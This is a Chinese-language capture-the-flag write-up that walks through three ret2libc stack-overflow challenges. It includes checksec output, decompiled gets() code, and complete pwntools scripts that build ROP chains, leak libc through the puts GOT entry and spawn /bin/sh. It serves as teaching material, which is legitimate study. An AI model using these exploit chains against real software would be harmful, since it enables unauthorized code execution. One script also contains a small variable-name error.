ret2libc

题目地址 ret2libc

ret2libc

0x1

将文件下载到本地后,file 查看文件类型,顺便 checksec 看看保护机制。

sakura@Kylin:~/下载/ret2libc/ret2libc1$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
sakura@Kylin:~/下载/ret2libc/ret2libc1$ checksec ret2libc1
[*] '/home/sakura/下载/ret2libc/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。

0x2

拖进 IDA 来看一下程序源代码,确定漏洞位置。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(v4);
  return 0;
}

可以看到这里有个 gets 函数,可以确定就是 gets 函数发生了栈溢出。

0x3

利用 ropgadget 看看是否有 /bin/sh 字符串。

sakura@Kylin:~/下载/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string '/bin/sh' 
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,在 IDA 中查找一下是否有 system 函数存在。

image-20220915163027797

那么我们直接返回 system 处,即执行 system 函数。相应的 payload 如下:

#ret2libc1.py
from pwn import *

sh = process('./ret2libc1')

binsh = 0x08048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binshaddr])
sh.sendline(payload)

sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

image-20220915162822205

ret2libc2

0x1

该题目与 ret2libc1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以**我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。**由于漏洞与上述一致,这里就不在多说。

image-20220915163514956

image-20220915163926447

image-20220915164247643

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

image-20220915164417103

ret2libc3

0x1

在例 ret2libc2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护。

sakura@Kylin:~/下载/ret2libc/ret2libc3$ file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped
sakura@Kylin:~/下载/ret2libc/ret2libc3$ checksec ret2libc3
[*] '/home/sakura/下载/ret2libc/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(v4);
  return 0;
}

0x2

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")    

如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)。

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。


溢出思路总结

1、泄露一个ret2libc3函数的位置

2、获取libc的版本(只有被执行过的函数才能获取地址)

https://libc.blukat.me

②LibcSearcher: https://github.com/lieanu/LibcSearcher

3、根据偏移获取shell和sh的位置

①求libc基地址(函数动态地址一函数偏移量)

②求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell


这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp 如下:

1、手动获取libc基地址

这里面需要用到三个offset,分别为system、puts和sh,可以用 libc database search 网站来获取 libc 基地址

image-20220916221437793

也可以用指令获取:(注意是 IO_puts,之前我一直搜 puts 的地址,结果做不出来)

strings /lib/i386-linux-gnu/libc.so.6 -tx | grep "bin/sh"
readelf -a /lib/i386-linux-gnu/libc.so.6| grep "IO_puts"
readelf -a /lib/i386-linux-gnu/libc.so.6| grep "system"
#ret2libc3_auto.py
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
context.log_level = 'debug'


puts_plt = ret2libc3.plt['puts']
puts_got = ret2libc3.got['puts']
main = ret2libc3.symbols['_start']

input("ready leak libc...")
payload = flat([b'A' * 112, puts_plt, main, puts_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
puts_addr = u32(sh.recv()[0:4])
print("puts:" + hex(puts_addr))
libcbase = puts_addr - 0x071cd0
system_addr = libcbase + 0x045830
binsh_addr = libcbase + 0x192352

input("ready get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

image-20220916220159305

2、利用工具自动获取libc基地址

#ret2libc3_auto.py
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
context.log_level = 'debug'
ret2libc3 = ELF('./ret2libc3')
gdb.attach(sh, "break main")

puts_got = ret2libc3.got['puts']
puts_plt = ret2libc3.plt['puts']
main = ret2libc3.symbols['_start']

input("leak puts_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, puts_got])
sh.sendlineafter(b'Can you find it !?', payload)

input("ready leak libc...")
puts_addr = u32(sh.recv()[0:4])

print("puts_addr: "+ hex(puts_addr))

libc = LibcSearcher('_IO_puts', puts_addr)
libcbase = puts_addr - libc.dump('_IO_puts')
print("libcbase: ", hex(libcbase))

system_addr = libcbase + libc.dump('system') #0x04fa50
binsh_addr = libcbase + libc.dump('str_bin_sh') # 0x1abf05
print("system: "+ hex(system_addr)+"\n"+"binsh:" + hex(binsh_addr))

input("get shell")
payload = flat([b'A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

image-20220916221028464

参考:

ROP

Stackoverflow Lab006: ret2libc3